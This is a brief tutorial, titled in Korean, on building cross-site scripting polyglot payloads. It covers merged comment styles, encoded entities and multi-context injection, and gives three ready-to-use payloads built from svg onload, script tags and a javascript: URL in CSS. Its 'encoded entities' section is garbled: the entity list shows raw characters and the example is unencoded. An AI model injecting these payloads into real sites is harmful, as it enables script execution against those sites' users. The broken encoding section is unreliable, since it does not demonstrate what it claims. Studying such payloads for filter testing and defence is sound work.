강력한 XSS 폴리글롯 만들기

Polyglot payloads leverage multiple encoding, injection, and obfuscation techniques to bypass filters, confuse parsers, and trigger execution across different contexts like HTML, JavaScript, CSS, JSON, etc.

-Merging Comment Styles
Polyglots often confuse parsers by merging different comment styles:

JavaScript: //, /* */
HTML: <!-- -->

<!--<script>/*--><svg onload="alert(1)/*</script">-->
</svg>

-Using Encoded Entities
Bypassing filters using HTML or URL encoding:

HTML: <, >, "
URL: %3C, %3E, %22

<script>alert(1)</script>

-Multiple Language Contexts
Polyglot payloads work across multiple languages like HTML, JavaScript, CSS.

"><svg onload="alert(1)" style="background:url(javascript:alert(1))"></svg>

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